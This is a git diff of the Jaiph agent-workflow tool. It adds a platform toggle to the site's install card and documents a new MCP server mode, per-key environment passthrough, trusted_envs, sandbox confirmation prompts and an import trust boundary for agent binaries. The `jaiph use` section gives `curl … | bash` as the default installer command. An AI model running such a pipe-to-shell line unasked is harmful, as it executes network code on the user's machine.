(navigator.userAgentData && navigator.userAgentData.platform) || navigator.platform || ""; + return /win/i.test(platform); + } + + /** + * Toggles the visible platform variant (posix / windows) across every + * panel in the install card, and reflects the choice on the switch buttons. + */ + function setOsVariant(root, os) { + root.querySelectorAll(".os-switch-button").forEach(function (button) { + button.classList.toggle("is-active", button.getAttribute("data-os") === os); + }); + root.querySelectorAll(".os-variant").forEach(function (variant) { + variant.classList.toggle("is-active", variant.getAttribute("data-os") === os); + }); + } + + /** + * Wires the platform sub-toggle in the install card and auto-selects the + * Windows variant for Windows visitors. Manual switching stays available; + * non-Windows visitors keep the static (POSIX) default with no layout shift. + */ + function attachOsSwitch() { + var root = document.querySelector("section.try-it-out .card"); + if (!root || root.querySelectorAll(".os-variant").length === 0) { + return; + } + root.querySelectorAll(".os-switch-button").forEach(function (button) { + button.addEventListener("click", function () { + var os = button.getAttribute("data-os"); + if (os) { + setOsVariant(root, os); + } + }); + }); + if (isWindowsPlatform()) { + setOsVariant(root, "windows"); + } + } + function attachCodeTabs() { const buttons = document.querySelectorAll(".code-tab-button"); buttons.forEach(function (button) { @@ -979,6 +1024,7 @@ highlightAll(); attachCopyButtons(); attachCodeTabs(); + attachOsSwitch(); attachDocsNavToggle(); attachThemeToggle(); }); @@ -989,6 +1035,7 @@ highlightAll(); attachCopyButtons(); attachCodeTabs(); + attachOsSwitch(); attachDocsNavToggle(); attachThemeToggle(); } diff --git a/docs/cli.md b/docs/cli.md index 2bc3fd07..7c960d6c 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -20,8 +20,9 @@ The published `jaiph` bin is `node dist/src/cli.js` (npm) or the standalone `dis | `jaiph` | Print the overview and exit `0`. | | `jaiph --help` / `-h` | Print the overview and exit `0`. | | `jaiph --version` / `-v` | Print the CLI version and exit `0`. | -| `jaiph [-h \| --help]` | Print the subcommand's usage (flags + one example) and exit `0`. Recognised anywhere in the arg list before `--` (except `compile`: help flags must precede path arguments). | +| `jaiph [-h \| --help]` | Print the subcommand's usage (flags + one example) and exit `0`. Recognised anywhere in the arg list before `--`. (`compile` scans help inline with no `--` cutoff, so it is recognised at any position — see [`jaiph compile`](#jaiph-compile).) | | `jaiph ` | File shorthand. Paths ending in `*.test.jh` route to `jaiph test`; other `*.jh` paths route to `jaiph run`. Non-existent paths fall through to normal command parsing. | +| `jaiph --mcp ` | Alias for `jaiph mcp `, dispatched alongside the subcommand. | | `jaiph ` | Print `Unknown command: `, repeat the overview, exit `1`. | The reserved internal marker `__workflow-runner` is excluded from `--help`/usage and from the file-shorthand path; it is used by `process.execPath` self-spawn (see [Architecture — Distribution: Node vs Bun standalone](architecture.md#distribution-node-vs-bun-standalone)). @@ -37,6 +38,7 @@ The reserved internal marker `__workflow-runner` is excluded from `--help`/usage | `init` | Initialize `.jaiph/` directory layout in a workspace. | | `install` | Install project-scoped libraries from the registry or git URLs. | | `use` | Reinstall `jaiph` globally with a selected version or channel. | +| `mcp` | Serve a file's workflows as MCP tools over stdio (newline-delimited JSON-RPC). | ## `jaiph run` {: #jaiph-run} @@ -44,7 +46,7 @@ The reserved internal marker `__workflow-runner` is excluded from `--help`/usage Compile and execute a workflow's `default` entrypoint. ```text -jaiph run [--target ] [--raw] [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--] [args...] +jaiph run [--target ] [--raw] [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... [--] [args...] ``` Sandbox selection is environment-driven; there is no `--docker` flag. The boolean sandbox flags (`--inplace`, `--unsafe`, `--yes`) are CLI front-ends that mutate the launched runtime env for one run only — see [Configuration — Precedence](configuration.md#precedence) and [Environment variables](env-vars.md). @@ -56,9 +58,10 @@ Sandbox selection is environment-driven; there is no `--docker` flag. The boolea | `--target` | `` | Keep emitted script files and run metadata under `` instead of a temp directory. | | `--raw` | — | Skip the banner, live progress tree, hooks, and PASS/FAIL footer. The runner child inherits stdio; `__JAIPH_EVENT__` JSON lines go to stderr unchanged. Host `--raw` never launches Docker even when `JAIPH_DOCKER_ENABLED=true`. | | `--workspace` | `` | Override the workspace root used for library resolution and the Docker workspace mount. A missing value, missing path, or non-directory aborts with a specific message. There is no `JAIPH_WORKSPACE` env equivalent input — that name is reserved for the in-container remap output. | -| `--inplace` | — | Front-end for `JAIPH_INPLACE=1`. | -| `--unsafe` | — | Front-end for `JAIPH_UNSAFE=true`. Cannot be combined with `--inplace` (`E_FLAG_CONFLICT`). | -| `-y`, `--yes` | — | Front-end for `JAIPH_INPLACE_YES=1`. Required to use `--inplace` non-interactively. | +| `--inplace` | — | Front-end for `JAIPH_INPLACE=1`. On a TTY, prints a destructive-edit warning that **leads with the access scope** (edits land in this workspace directory only — `` — while the rest of your machine stays inside the Docker sandbox) plus the git-tree recovery posture, then requires `Continue? [y/N]` (default **no**). Non-TTY requires `--yes` / `JAIPH_INPLACE_YES` or aborts with `E_DOCKER_INPLACE_NO_CONFIRM`. | +| `--unsafe` | — | Front-end for `JAIPH_UNSAFE=true`. Cannot be combined with `--inplace` (`E_FLAG_CONFLICT`). When this turns Docker off while it would otherwise be on, a **stronger** confirmation than `--inplace` fires: the warning states host-only / **no sandbox**, that filesystem access is your **entire machine** (not just the workspace), and that scripts and agent backends can read secrets from your environment and reach paths outside the project. On a TTY it requires `Continue? [y/N]` (default **no**); non-TTY requires `--yes` / `JAIPH_INPLACE_YES` or aborts with `E_UNSAFE_NO_CONFIRM`. No prompt fires when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, or the Windows host-only override, which prints its own notice). `--raw` skips this prompt (embedding / Docker inner run). | +| `-y`, `--yes` | — | Front-end for `JAIPH_INPLACE_YES=1`. Skips **both** the `--inplace` and `--unsafe` confirmation prompts — required to use either mode non-interactively. | +| `--env` | `KEY=VALUE` or `KEY` | Repeatable per-key environment passthrough into the workflow process. `--env KEY=VALUE` defines `KEY` with that exact value (first `=` splits; the value may contain `=`; empty is allowed). `--env KEY` forwards the host's current value, aborting with `E_ENV_MISSING` before spawning if `KEY` is unset on the host. `KEY` must match `[A-Za-z_][A-Za-z0-9_]*` (else `E_ENV_INVALID`). Reserved sandbox-control keys (`JAIPH_UNSAFE`, `JAIPH_INPLACE`, `JAIPH_INPLACE_YES`, any `JAIPH_DOCKER_*`) and runtime-managed keys (`JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, `JAIPH_RUN_ID`, `JAIPH_SCRIPTS`, `JAIPH_MODULE_GRAPH_FILE`, `JAIPH_SOURCE_ABS`, `JAIPH_META_FILE`, `JAIPH_AGENT_TRUSTED_WORKSPACE`, `JAIPH_RUN_WORKFLOW`) are rejected with `E_ENV_RESERVED` — use the sandbox flags or real env vars for those. **In a Docker sandbox `--env` is the per-key consent that crosses the fail-closed env allowlist verbatim** (added as explicit `-e KEY=VALUE` container args, winning over any allowlist-forwarded value); see [Sandboxing — Environment exposure](sandboxing.md#env-exposure). Values are never path-remapped. | | `--` | — | End of Jaiph flags; remaining tokens are forwarded to `workflow default`. | ### Pre-flight @@ -74,16 +77,17 @@ After module-graph load and Docker-mode resolution, before the runner / containe | `✗` | Step failed (with elapsed time). | | `ℹ` | `log` message (dim/gray, no marker timing). | | `!` | `logerr` message (red; rendered on stdout with the progress tree). | +| `⚠` | `logwarn` message and automatic leaf-step idle warnings (yellow; rendered on stdout with the progress tree). | | `·` | Continuation marker (heartbeat lines in non-TTY mode). | | ` ₁`, ` ₂`, … | Subscript prefix for `run async` branch numbering. | PASS line: `✓ PASS workflow default (0.2s)`. TTY runs append a transient `▸ RUNNING workflow (X.Xs)` line that is replaced by the PASS/FAIL line on exit. `--raw` and non-TTY modes skip both. Disable color globally with `NO_COLOR=1`. -Non-TTY heartbeat cadence is controlled by `JAIPH_NON_TTY_HEARTBEAT_FIRST_SEC` (default `60`) and `JAIPH_NON_TTY_HEARTBEAT_INTERVAL_MS` (default `30000`, floor `250`). +Non-TTY heartbeat cadence is controlled by `JAIPH_NON_TTY_HEARTBEAT_FIRST_SEC` (default `60`) and `JAIPH_NON_TTY_HEARTBEAT_INTERVAL_MS` (default `30000`, floor `250`). Leaf script and prompt steps emit a yellow `⚠` idle warning when they produce no stdout/stderr for `JAIPH_STEP_IDLE_WARN_SEC` (default `180`; `0` disables). ### Step display -Step lines include the kind (`workflow`, `prompt`, `script`, `rule`) and name. Parameterised invocations append `key="value"` pairs in parentheses (positional params use `1=…` / `2=…`); whitespace is collapsed; values are truncated to 32 characters. Prompt step lines additionally show the backend name (or custom command basename) and the first 24 characters of the prompt body in quotes (full line capped at 96 characters). +Step lines include the kind (`workflow`, `prompt`, `script`, `rule`) and name. Parameterised invocations append `key="value"` pairs in parentheses (positional params use `1=…` / `2=…`); whitespace is collapsed; values are truncated to 32 characters. Prompt step lines additionally show the backend name (or custom command basename), the effective model, and the first 24 characters of the prompt body in quotes (full line capped at 96 characters): `▸ prompt claude sonnet "Classify this task…"` on start and `✓ prompt claude sonnet (5s)` on completion. The model is the value passed to the backend (`agent.model` / `JAIPH_AGENT_MODEL` / a `--model` flag); it is a bare token between the backend and the quoted preview. When a built-in backend (cursor, claude, codex) auto-selects its own model, the token shows the literal `default` (`▸ prompt cursor default "…"`); it is omitted only for custom agent commands, which have no model concept (`▸ prompt my-agent "…"`). ### Return values @@ -132,7 +136,7 @@ Parse modules and run `collectDiagnostics(graph)` — the same per-module valida jaiph compile [--json] [--workspace ] ... ``` -At least one path is required. `-h` / `--help` must appear before the first path (they are not scanned after a path token, unlike other subcommands). +At least one path is required. Unlike the other subcommands (which stop scanning for help at `--`), `compile` parses `-h` / `--help` inline in its argument loop, so a help flag is recognised at any position — before or after a path. | Argument shape | Behaviour | |---|---| @@ -154,7 +158,7 @@ Reformat `.jh` / `.test.jh` files into canonical style. jaiph format [--check] [--indent ] ``` -Paths must end with `.jh`. Formatting is idempotent. Comments and shebangs are preserved. Triple-quoted bodies, prompt blocks, and fenced script blocks emit verbatim — inner lines are not re-indented relative to the surrounding scope. +Paths must end with `.jh`. Formatting is idempotent. Comments and shebangs are preserved. Triple-quoted bodies and prompt blocks emit verbatim (author margin preserved via trivia). Fenced script bodies are stored dedented in the AST; the formatter re-indents inner lines by one level relative to the surrounding scope. | Flag | Argument | Default | Effect | |---|---|---|---| @@ -264,10 +268,84 @@ jaiph use | Argument | Effect | |---|---| | `nightly` | Reinstalls from the rolling `nightly` prerelease. | -| `` (e.g. `0.10.0`) | Reinstalls the release binary for tag `v`. | +| `` (e.g. `0.11.0`) | Reinstalls the release binary for tag `v`. | Implementation: re-invokes `JAIPH_INSTALL_COMMAND` (default `curl -fsSL https://jaiph.org/install | bash`) with `JAIPH_REPO_REF` set to `nightly` or `v`. The installer downloads the matching per-platform binary plus `SHA256SUMS`, verifies the checksum, and replaces `~/.local/bin/jaiph` (or `JAIPH_BIN_DIR`). +## `jaiph mcp` +{: #jaiph-mcp} + +Serve a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio. See [Serve workflows as MCP tools](/how-to/mcp) for the recipe and client-registration steps. + +```text +jaiph mcp [--workspace ] [--env KEY[=VALUE]]... +``` + +`jaiph --mcp ` is an equivalent alias, dispatched after `compile` in `src/cli/index.ts`. + +| Flag | Argument | Effect | +|---|---|---| +| `--workspace` | `` | Workspace root for import resolution (default: auto-detected from the file's directory). A missing value or non-directory path aborts with a specific message. | +| `--env` | `KEY=VALUE` or `KEY` | Same per-key passthrough as `jaiph run --env` (same forms, validation, and reserved-key rejection), resolved once at startup and applied to **every** tool call for the server's lifetime. A bare `--env KEY` unset on the host aborts server startup with `E_ENV_MISSING`. In Docker mode the pairs cross the container boundary as explicit `-e` args bypassing the allowlist, exactly as for `jaiph run --env`. | +| `-h`, `--help` | — | Print the subcommand usage and exit `0`. | + +### Startup and exit behaviour + +- Loads the module graph and runs `collectDiagnostics` (the same compile-time pass as `jaiph compile`). Any diagnostic prints `file:line:col CODE message` lines to **stderr** and exits `1`. +- A missing path, a non-`.jh` path, or a path that is not a file exits `1` with a message on stderr. +- On success the server runs until stdin closes or it receives `SIGINT` / `SIGTERM`, then drains in-flight calls and exits `0`. + +### stdout invariant + +From the moment the server starts, **stdout carries only newline-delimited JSON-RPC**. Every banner, warning, workflow-exclusion notice, reload message, Docker notice, and credential-pre-flight warning goes to **stderr**. Each outbound protocol message is a single atomic write of `JSON.stringify(msg) + "\n"`. + +### Protocol subset + +Newline-delimited JSON-RPC 2.0. Requests are handled concurrently (a long `tools/call` never stalls `ping` or further calls). + +| Method | Behaviour | +|---|---| +| `initialize` | Replies with `protocolVersion`, `capabilities: {tools: {listChanged: true}}`, and `serverInfo: {name: "jaiph", title: "Jaiph workflows", version}`. Echoes the client's `protocolVersion` if it is one of `2024-11-05`, `2025-03-26`, `2025-06-18`; otherwise replies with the newest of that set. | +| `ping` | Empty result. | +| `tools/list` | `{tools: [{name, description, inputSchema}]}` from the current tool set (re-read per request, so hot reload needs no cache invalidation). | +| `tools/call` | Runs the workflow (Docker sandbox or host, per the env — see Execution below). Result: `{content: [{type: "text", text}], isError}`. When `params._meta.progressToken` is present, the run's `STEP_START` / `STEP_END` events stream as `notifications/progress` until the response is sent (see below). | +| `notifications/cancelled` | Cancels the matching in-flight `tools/call` (`params.requestId`): terminates the run's child process tree (SIGINT, then SIGKILL after a grace period) and, in Docker mode, force-removes the call's container (`docker rm -f`) so it cannot orphan; sends **no response** for that id, and keeps the server serving. A cancellation for an unknown or already-finished id is a no-op. | +| other notifications | Ignored (`notifications/initialized`, …); no response. | +| unknown request | JSON-RPC error `-32601`. | + +The server emits `notifications/tools/list_changed` after a successful hot reload (only once `initialize` has happened). + +When a `tools/call` carries a `progressToken`, the server also emits `notifications/progress` (`{progressToken, progress, message}`) for that call — one per step event, with a monotonically increasing `progress` counter and a `message` of `" "` (no `total`, since a workflow's step count is not known up front). Notifications stop the instant the call's response is sent; a call without a `progressToken` emits none. See [Serve workflows as MCP tools — Stream progress and cancel a long call](mcp.md#7-stream-progress-and-cancel-a-long-call). + +### Error mapping + +| Condition | Code | +|---|---| +| Invalid JSON | `-32700` (with `id: null`) | +| Non-object message | `-32600` | +| Unknown method | `-32601` | +| Unknown tool, missing/non-string required argument, or unexpected argument key | `-32602` (the call never starts) | +| Infrastructure crash while running a call | `-32603` (also logged to stderr) | +| **Workflow failure** | *not* a protocol error — a normal result with `isError: true` and a `run dir:` pointer | + +### Exposure and naming + +The tool surface is derived from the **entry file only** (imports are never exposed): + +| Rule | Behaviour | +|---|---| +| `export workflow …` present | Exactly the exported workflows are exposed. | +| No exports | Every top-level workflow except channel route targets (skipped with a warning). | +| `default` | Exposed only when it is the sole candidate, named after the sanitized file basename (`.jh` stripped, non-`[A-Za-z0-9_-]` → `_`, truncated to 128); otherwise skipped. | + +Tool descriptions come from the `#` comment lines directly above each workflow (shebang lines dropped, `#` prefix stripped); the fallback is `Run the "" workflow from .` Every parameter is a required string in the input schema. + +### Execution and hot reload + +- Tool calls honor the same env-driven sandbox selection as `jaiph run` (`resolveDockerConfig`): Docker on macOS/Linux by default, host-only under `JAIPH_UNSAFE=true` or on Windows. The image is prepared once at startup (`checkDockerAvailable` + `prepareImage`), not per call. Run artifacts land under `.jaiph/runs/` exactly as for `jaiph run`. +- **The workspace is isolated by default** for `jaiph mcp` — the same as `jaiph run`. Each tool call's container works on a writable point-in-time snapshot of the workspace, so edits are discarded on exit and the host tree is untouched. Set `JAIPH_INPLACE=1` to bind the real workspace read-write so tool effects land live (opt-in), or `JAIPH_UNSAFE=true` to run on the host with no sandbox. +- Source files in the module graph are watched (polling, ~750 ms). A valid edit re-derives tools and emits `notifications/tools/list_changed`; an edit that fails to compile keeps the previous tool set serving and logs diagnostics to stderr. + ## Environment variables See [Environment variables](env-vars.md) for the complete inventory. The variables most relevant to CLI behaviour: @@ -284,7 +362,7 @@ See [Environment variables](env-vars.md) for the complete inventory. The variabl - **Live contract** (runtime → CLI): `__JAIPH_EVENT__` JSON lines on **stderr** only. Hooks and the interactive progress tree consume this stream. Stdout carries plain script output forwarded as-is. - **Durable contract**: `.jaiph/runs/...` + `run_summary.jsonl` + `.out` / `.err` step artifacts + optional `return_value.txt`. See [Architecture — Durable artifact layout](architecture.md#durable-artifact-layout). -`run_summary.jsonl` event types: `WORKFLOW_START`, `WORKFLOW_END`, `STEP_START`, `STEP_END`, `LOG`, `LOGERR`, `INBOX_ENQUEUE`, `INBOX_DISPATCH_START`, `INBOX_DISPATCH_COMPLETE`, `PROMPT_START`, `PROMPT_END`. Every object carries `type`, `ts` (UTC), `run_id`, and `event_version` (currently `1`). Step events also carry `id`, `parent_id`, `seq`, `depth`. See [Architecture — Contracts](architecture.md#contracts). +`run_summary.jsonl` event types: `WORKFLOW_START`, `WORKFLOW_END`, `STEP_START`, `STEP_END`, `LOG`, `LOGERR`, `LOGWARN`, `INBOX_ENQUEUE`, `INBOX_DISPATCH_START`, `INBOX_DISPATCH_COMPLETE`, `PROMPT_START`, `PROMPT_END`. Every object carries `type`, `ts` (UTC), `run_id`, and `event_version` (currently `1`). Step events also carry `id`, `parent_id`, `seq`, `depth`. See [Architecture — Contracts](architecture.md#contracts). ## File extension @@ -296,3 +374,4 @@ See [Environment variables](env-vars.md) for the complete inventory. The variabl - [Grammar](grammar.md) — syntax and validation catalog. - [Language](language.md) — step semantics and step-output contract. - [Environment variables](env-vars.md) — every variable Jaiph reads. +- [Serve workflows as MCP tools](/how-to/mcp) — exposing a file's workflows to MCP clients via `jaiph mcp`. diff --git a/docs/configuration.md b/docs/configuration.md index d1ba8de1..7bf43cae 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -34,20 +34,43 @@ Docker enablement uses a separate, env-only resolution; see [Docker enablement]( ### Value syntax +**Global rule:** Every Jaiph string position accepts three equivalent forms: + +| Form | Example | Stored as | +|---|---|---| +| Bare identifier | `model` | `${model}` | +| Double-quoted string | `"${model}"` or `"prefix-${model}"` | string content as-is | +| Bare interpolation ref | `${model}` or `${model.field}` | `${model}` / `${model.field}` | + +All three resolve identically at runtime. The only interpolation Jaiph understands is `${name}` / `${name.field}` — shell expansion forms (`${var:-default}`, `${var//…}`, `${#var}`) are not. Written as a bare config value they fail with `E_PARSE` (`config value must be a quoted string, bare identifier, or true/false`); written inside a double-quoted config value they are stored as literal text and never expanded. + | Type | Format | Example | |---|---|---| -| String | Double-quoted; supports `\\`, `\n`, `\t`, `\"` | `"gpt-4"` | +| String | Double-quoted; supports `\\`, `\n`, `\t`, `\"`, and `${name}` interpolation | `"gpt-4"`, `"${model}"` | +| String (bare identifier sugar) | Bare identifier — stored as `${name}` and resolved at runtime | `model` | +| String (bare ref sugar) | Bare `${name}` or `${name.field}` — stored as-is and resolved at runtime | `${model}`, `${model.field}` | | Boolean | Bare `true` / `false` | `true` | | Integer | Unsigned decimal digits | `300` | +String config values support the same `${identifier}` interpolation as orchestration strings (`log`, `prompt`, `return`, etc.). A bare identifier or bare `${name}` on the RHS is sugar for a single `${identifier}` reference (for example `agent.model = model`, `agent.model = ${model}`, and `agent.model = "${model}"` are all equivalent). + +**Interpolation scope:** + +| Config level | Available identifiers | +|---|---| +| Module-level | Module `const` values and environment variables | +| Workflow-level | Module `const` values, environment variables, and that workflow's parameters | + +Interpolation runs when the config scope is applied (workflow entry for workflow-level keys; CLI startup for module-level keys). Environment variables still win over in-file config when locked. + ## Agent keys | Key | Type | Default | Env equivalent | Notes | |---|---|---|---|---| -| `agent.default_model` | string | — | `JAIPH_AGENT_MODEL` | Default model for `prompt` steps. Applies to all backends. | -| `agent.command` | string | `cursor-agent` | `JAIPH_AGENT_COMMAND` | Cursor backend command. Basename other than `cursor-agent` enables custom-command mode (stdin → command → stdout). | -| `agent.backend` | string (`cursor` \| `claude` \| `codex`) | `cursor` | `JAIPH_AGENT_BACKEND` | Backend selector. | -| `agent.trusted_workspace` | string (path) | workspace root | `JAIPH_AGENT_TRUSTED_WORKSPACE` | Directory passed to Cursor as `--trust`. When unset, defaults to `JAIPH_WORKSPACE`. In-file values are assigned to the env var as authored (relative paths are not normalized to absolute paths). | +| `agent.model` | string | — | `JAIPH_AGENT_MODEL` (env only) | Model for `prompt` steps in this scope. Resolved at each `prompt` invocation and passed as a per-call `--model` flag — it does **not** set `JAIPH_AGENT_MODEL` in the workflow environment, so scripts and other steps do not see it. Set `JAIPH_AGENT_MODEL` in the shell to override all prompts in a run. | +| `agent.command` | string | `cursor-agent` | `JAIPH_AGENT_COMMAND` | Cursor backend command. Basename other than `cursor-agent` enables custom-command mode (stdin → command → stdout). **Entry module only** — imported modules cannot set this key by default (see [Import trust boundary](#import-trust-boundary)). | +| `agent.backend` | string (`cursor` \| `claude` \| `codex`) | `cursor` | `JAIPH_AGENT_BACKEND` | Backend selector. **Entry module only** — imported modules cannot set this key by default (see [Import trust boundary](#import-trust-boundary)). | +| `agent.trusted_workspace` | string (path) | workspace root | `JAIPH_AGENT_TRUSTED_WORKSPACE` | Directory passed to Cursor as `--trust`. When unset, defaults to `JAIPH_WORKSPACE`. A relative path in the **entry module's module-level** config is resolved against the workspace root to an absolute path at CLI startup. Values applied at runtime — a workflow-level block or an imported module — are assigned to the env var exactly as authored (not normalized). | | `agent.cursor_flags` | string | — | `JAIPH_AGENT_CURSOR_FLAGS` | Extra flags appended to Cursor invocations (whitespace-split). | | `agent.claude_flags` | string | — | `JAIPH_AGENT_CLAUDE_FLAGS` | Extra flags appended to Claude invocations (whitespace-split). | @@ -69,6 +92,35 @@ Informational metadata only; does not affect execution. Allowed in module-level | `module.version` | string | — | | `module.description` | string | — | +## Trusted env keys (`trusted_envs`) +{: #trusted-envs} + +`trusted_envs = "GITHUB_TOKEN NPM_TOKEN"` declares which **host** environment variables a workflow's trusted `run` steps receive — the declarative alternative to remembering `jaiph run --env GITHUB_TOKEN …`. The value is a quoted, space-separated list of env var names. + +| Scope | Effect | +|---|---| +| Module-level `config` | Sugar: applies to every workflow in the file. | +| Workflow-level `config` | Scopes the keys to that workflow only. | +| Imported (non-entry) module | **Ignored** (warned at pre-flight) — an imported module must not be able to pull arbitrary host secrets into its own steps. Mirrors the [import trust boundary](#import-trust-boundary) for `agent.command` / `agent.backend`. | + +```jaiph +config { trusted_envs = "NPM_TOKEN" } # module-level: every workflow's run steps + +workflow publish { + config { trusted_envs = "GITHUB_TOKEN" } # only publish's run steps also see GITHUB_TOKEN + run release() +} +``` + +Semantics: + +- Declared keys resolve from the **pristine host environment captured once at process start** — never from the calling workflow's scope env. A sub-workflow does not inherit a caller's keys by being called; it must declare `trusted_envs` itself. +- Resolved values are injected **only into `run`-step script subprocesses** of the declaring workflow. They are **never** forwarded to `prompt` agent subprocesses — the prompt env stays the fail-closed allowlist described in [Sandboxing](sandboxing.md), in every sandbox mode. +- Declaring a key anywhere in the file (or an imported module) also **scrubs** it from every workflow's ambient scope env, so only the declaring workflow's `run` steps see it. +- Pre-flight: a declared key with no value on the host (and no `--env` override) aborts before anything is spawned (`E_ENV_MISSING`). Reserved keys (the `--env` `E_ENV_RESERVED` set, including `JAIPH_DOCKER_*`) are rejected at parse time. +- `--env KEY=VALUE` remains the imperative override: it wins over the host-snapshot value for the same key. +- Docker: the entry file's resolved keys cross the sandbox boundary through the same explicit `-e` channel as `--env` pairs — the in-file declaration is the per-key consent. + ## Runtime (Docker) keys These configure the Docker sandbox. Allowed in **module-level** config only. They are read by the host CLI when it considers a Docker launch (`resolveDockerConfig` in `src/runtime/docker.ts`) and never affect `NodeWorkflowRuntime` directly. **Docker on/off is not a `runtime.*` key** — see [Docker enablement](#docker-enablement). @@ -83,14 +135,17 @@ In-file `runtime.docker_enabled` is not supported (`E_PARSE`); use the env-only ## Docker enablement +Checks are applied top to bottom; the first match wins. + | Check | Result | |---|---| +| Platform is Windows (`win32`) | Docker off (host-only mode, with a one-line notice). Overrides everything below, including `JAIPH_DOCKER_ENABLED=true`. | | `JAIPH_DOCKER_ENABLED` is set to exact `true` | Docker on. | | `JAIPH_DOCKER_ENABLED` is set to any other value | Docker off. | | `JAIPH_DOCKER_ENABLED` is unset and `JAIPH_UNSAFE=true` | Docker off. | | Default (no env) | Docker on. | -`CI=true` does not change this default. Host `jaiph run --raw` never consults this branch — the workflow runner is local in that path. See [Sandboxing](sandboxing.md) for the full model. +`CI=true` does not change this default. Host `jaiph run --raw` never consults this branch — the workflow runner is local in that path. On Windows the Docker sandbox is out of scope, so `jaiph run` resolves to host-only mode automatically without probing `docker` or failing on a missing daemon — see [Sandboxing — Windows runs host-only](sandboxing.md#windows-runs-host-only) for the full model. ## Precedence {: #precedence} @@ -120,7 +175,7 @@ Workflow-level `config` cannot set `runtime.*` keys. |---|---| | Root entry (`jaiph run file.jh`) | Full module + workflow metadata applied with normal precedence. | | Same-module `run` | Callee's workflow-level `config` is layered on top of the caller's effective env. Module-level config is not re-applied. | -| Cross-module `run` (e.g. `run alias.default()`) | Callee's module-level config is layered, then workflow-level on top — same as root-entry precedence, respecting `${NAME}_LOCKED`. | +| Cross-module `run` (e.g. `run alias.default()`) | Callee's module-level config is layered, then workflow-level on top — same as root-entry precedence, respecting `${NAME}_LOCKED`. **`agent.command` and `agent.backend` are not applied from imported modules** (see [Import trust boundary](#import-trust-boundary)). | | Same-module `ensure` | Caller's scope is reused verbatim. | | Cross-module `ensure` | Callee module's `agent.*` / `run.*` are merged on top of the current env (respecting locks). Workflow-level config does not apply to rules. | @@ -133,11 +188,29 @@ When the host CLI builds the runner environment, any of these variables already Locked names: `JAIPH_AGENT_BACKEND`, `JAIPH_AGENT_MODEL`, `JAIPH_AGENT_COMMAND`, `JAIPH_AGENT_TRUSTED_WORKSPACE`, `JAIPH_AGENT_CURSOR_FLAGS`, `JAIPH_AGENT_CLAUDE_FLAGS`, `JAIPH_RUNS_DIR`, `JAIPH_DEBUG`. +## Import trust boundary +{: #import-trust-boundary} + +`agent.command` and `agent.backend` are **execution-binary keys** — they determine which process runs `prompt` steps. To prevent a third-party `.jh` library from silently redirecting execution to a different binary, these two keys may only be set from the **entry module's** `config {}` block (module-level or workflow-level). Imported modules that declare `agent.command` or `agent.backend` in their `config {}` are silently ignored for these keys. + +[`trusted_envs`](#trusted-envs) carries the same entry-only restriction: declarations in imported modules are ignored (with a pre-flight warning) so a library cannot pull host secrets into its own steps. + +All other config keys (`agent.model`, `agent.trusted_workspace`, `agent.cursor_flags`, `agent.claude_flags`, `run.logs_dir`, `run.debug`) are not restricted and follow the normal scoping rules for cross-module calls. + +**Advanced unlock (use with caution):** to allow an imported module to override these keys, set one or both of the following environment variables before the run: + +| Variable | Effect | +|---|---| +| `JAIPH_AGENT_COMMAND_IMPORT_UNLOCK=1` | Allow any imported module to set `agent.command`. | +| `JAIPH_AGENT_BACKEND_IMPORT_UNLOCK=1` | Allow any imported module to set `agent.backend`. | + +The existing `JAIPH_AGENT_COMMAND_LOCKED=1` / `JAIPH_AGENT_BACKEND_LOCKED=1` flags still apply on top — a locked key cannot be changed regardless of the source. + ## Config-to-env mapping | In-file key | Environment variable | |---|---| -| `agent.default_model` | `JAIPH_AGENT_MODEL` | +| `agent.model` | _(prompt-scoped only — does not set `JAIPH_AGENT_MODEL`)_ | | `agent.command` | `JAIPH_AGENT_COMMAND` | | `agent.backend` | `JAIPH_AGENT_BACKEND` | | `agent.trusted_workspace` | `JAIPH_AGENT_TRUSTED_WORKSPACE` | @@ -179,7 +252,7 @@ Before `jaiph run` spawns the workflow runner or Docker container, the host CLI Hard errors exit non-zero with no runner or container launched. Warnings go to stderr and the run proceeds. Skip cases: entry file declares no explicit backend and uses no `prompt` step → no pre-flight; `jaiph run --raw` → no pre-flight; `JAIPH_UNSAFE=true` / `--unsafe` → no pre-flight (host escape hatch — runtime backend guards remain). -Every error and warning names: the backend; the model when `agent.default_model` is set; the entry `.jh` file; the config scope (`module config`, `workflow `, `JAIPH_AGENT_BACKEND env`, or `default`); and the concrete remedy. Docker-mode messages also note that the variable must be set on the host so it gets forwarded. +Every error and warning names: the backend; the model when `agent.model` is set; the entry `.jh` file; the config scope (`module config`, `workflow `, `JAIPH_AGENT_BACKEND env`, or `default`); and the concrete remedy. Docker-mode messages also note that the variable must be set on the host so it gets forwarded. ## Model resolution {: #model-resolution} @@ -188,11 +261,12 @@ Resolution order for a `prompt` step: | Step | Source | Notes | |---|---|---| -| 1 | Explicit model — `agent.default_model` / `JAIPH_AGENT_MODEL` non-empty. | `model_reason: explicit`. | -| 2 | Flags model — `--model ` inside `agent.cursor_flags` / `agent.claude_flags`. | `model_reason: flags`. Codex has no flag channel; this step does not apply. | -| 3 | Backend default — Cursor/Claude binaries pick their own. Codex defaults to `gpt-4o` in code. | `model_reason: backend-default`. | +| 1 | User env — `JAIPH_AGENT_MODEL` non-empty. | `model_reason: explicit`. Applies to every `prompt` in the run. | +| 2 | In-file config — `agent.model` from workflow-level then module-level metadata (interpolated at prompt time). | `model_reason: explicit`. Applies to that `prompt` invocation only; passed as `--model` to the backend CLI without writing `JAIPH_AGENT_MODEL`. | +| 3 | Flags model — `--model ` inside `agent.cursor_flags` / `agent.claude_flags`. | `model_reason: flags`. Codex has no flag channel; this step does not apply. | +| 4 | Backend default — Cursor/Claude binaries pick their own. Codex defaults to `gpt-4o` in code. | `model_reason: backend-default`. | -For the Claude backend, when `agent.default_model` is set and `agent.claude_flags` does not already contain `--model`, Jaiph passes `--model ` to the Claude CLI automatically. If both are set, the value in `agent.claude_flags` wins (appended last). +For the Claude backend, when `agent.model` is set and `agent.claude_flags` does not already contain `--model`, Jaiph passes `--model ` to the Claude CLI automatically. If both are set, the value in `agent.claude_flags` wins (appended last). `PROMPT_START` / `PROMPT_END` records in `run_summary.jsonl` carry `model` (resolved string, or null when backend auto-selects) and `model_reason`. @@ -236,7 +310,7 @@ 